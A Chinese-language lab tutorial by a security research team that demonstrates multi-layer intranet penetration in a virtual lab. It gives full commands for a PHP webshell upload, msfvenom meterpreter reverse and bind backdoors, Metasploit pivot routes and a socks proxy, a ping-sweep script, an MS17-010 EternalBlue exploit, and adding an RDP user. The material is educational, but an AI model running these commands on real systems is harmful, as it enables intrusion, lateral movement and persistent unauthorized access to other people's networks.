近年來,攻擊者潛伏在企業內網進行攻擊的安全事件屢見不鮮,攻擊者在經常會企業的內網進行橫向滲透,令防守方防不勝防。因此,我們應該嚴格控制好網路區域之間的訪問規則,加大攻擊橫向滲透的阻力。本文由錦行科技的安全研究團隊提供,旨在透過實驗演示進一步瞭解攻擊者是如何在多層內網進行的滲透。
1. 實驗簡介
網路拓撲圖
滲透機:win10+kali
第一層靶機 (外網web伺服器): Linux
第二場靶機 (內網web伺服器): Linux
第三層靶機 (內網辦公機) : win7
用三層網路來模擬內外網環境,主要了解MSF、內網轉發等。
2. 環境搭建
第一層網路
把滲透機kali和win10網路卡1設定選擇VMnet1:
靶機Linux網路卡1設定選擇VMnet1,新增網路卡2 設定選擇VMnet2:
第二層網路
將第二臺靶機Linux網路卡1設定選擇VMnet2,新增網路卡2 設定選擇VMnet3:
第三層網路
將靶機win7網路卡1設定選擇VMnet3:
再配置好各臺機器對應IP即可。
最後
在第一臺Linux和第二臺Linux上搭建一個php上傳頁面,設為存在檔案上傳漏洞的web頁面,以便後續的拿shell進行內網滲透。
第一臺Linux
第二臺Linux
3. 實驗過程
第一層靶機
win10訪問http://192.168.85.131/直接上傳一句話木馬
蟻劍連線
*進一步做內網滲透,上傳msf後門*
開啟kali msfconsole 輸入msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.85.128 LPORT=4444 -f elf > mshell.elf
生成一個名為mshell.elf的msf後門檔案
蟻劍把後門檔案上傳到Linux靶機
返回msf 開啟監聽
use exploit/multi/handler 使用監聽模組
set payload linux/x64/meterpreter/reverse_tcp 使用和木馬相同的payload
set lhost 192.168.85.128 kaili 的ip
set lport 4444 木馬的埠
run 執行
蟻劍開啟虛擬終端cd到後門檔案的目錄下,執行後門檔案,輸入
chmod 777 mshell.elf 加執行許可權
./mshell.elf 執行檔案
Kail接受到MSF會話
輸入ifconfig,發現第二層172.10.10.0/24網段
新增路由
background 將會話轉到後臺
route add 172.10.10.0/24 1
新增 172.10.10.0/24網段 使用session1
route print 檢視路由表
使用MSF建立socks代理
use auxiliary/server/socks4a
set srvhost 192.168.85.128
set srvport 10080
run
配置socks4代理的相關客戶端Proxychains
在配置檔案/etc/proxychains.conf中新增:
socks4 192.168.85.128 10080
vi /etc/proxychains.conf
新增socks4 192.168.85.128 10080
這樣利用proxychains啟動的應用都可以帶sock4代理,proxychains 為kali自帶的,非MSF裡的。
*建立好代理後滲透機可以透過這臺Linux當跳板機進入第二層網路*
第二層網路
*nmap探測存在web服務的主機*
用proxychans啟動nmap對第二層網段進行80埠掃描,執行proxychains nmap -sT -Pn -p 80 172.10.10.0/24
掃描發現55和56存在web服務,172.10.10.56即為第二層網路的ip
由於proxychains無法代理icmp的資料包,所以必須新增-sT -Pn引數,即不檢測主機是否存活,直接進行埠tcp掃描。
*指令碼探測存活主機*
在本地建立一個名為ping.sh的指令碼,指令碼內容如下:
#!/bin/bash
ip="172.10.10."
echo "ping log:" > ./ping.txt
for i in {1..254}
do
ping -c 1 -w 1 -W 1 $ip$i | grep -q "ttl=" && echo "$ip$i [yes]" >> ./ping.txt || echo "$ip$i [no]" >> ./ping.txt &
done
echo "wait 5s...."
sleep 5
cat ./ping.txt
cat ./ping.txt | wc -l
·
Kali進入session1會話,然後upload命令上傳剛剛建立的指令碼到靶機upload /root/ping.sh /var/www/hrml/upload
進入shell執行
python -c 'import pty;pty.spawn("/bin/bash")'
建立一個完全互動式shell,後
Chmod 777 ping.sh
./ping.sh
可以看到172.10.10.0/24網段存活56.57兩臺
*知道存活主機ip後就可以繼續進入第二層內網主機*
滲透機瀏覽器配置sock4a代理
蟻劍加代理連線
連線 http://172.10.10.56/upload/php1.php
*進一步做內網滲透,繼續上傳msf後門*
*製作MSF後門*
返回kali msf 輸入
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4455 -f elf > mshell1.elf
生成 mshell1.elf後門檔案
因為在內網跨網段時無法反向代理連線到滲透的機器,所以這裡使用linux/x64/meterpreter/bind_tcp 這個payload進行正向代理連線。
蟻劍上傳後門
蟻劍開啟虛擬終端執行後門檔案
返回會話
輸入ifconfig 發現第三層網路的網段10.10.10.0/24
第三層網路
新增路由
background
route add 10.10.10.0/24 2
route print
進入session 2 上傳 指令碼 探測存活主機
注意把指令碼的ip段修改成該網段再上傳
探測到第三層網段的存活ip :10.10.10.101
proxychans 啟動nmap對10.10.10.101的1-500埠掃描,執行
proxychains nmap -sT -Pn -p 1-500 10.10.10.101
發現445埠開啟
嘗試使用ms17-010
use windows/smb/ms17_010_eternalblue
set rhost 10.10.10.101
set payload windows/x64/meterpreter/bind_tcp
set lport 4466
Run ,存在445漏洞
執行成功,返回會話
開啟3389遠端桌面
run post/windows/manage/enable_rdp 開啟遠端桌面
run post/windows/manage/enable_rdp USERNAME=zzy PASSWORD=123qwe!@# 新增遠端使用者
將3389埠轉回kali本地5555埠
portfwd add -l 5555 -p 3389 -r 10.10.10.101
Win10遠端桌面連線
登陸成功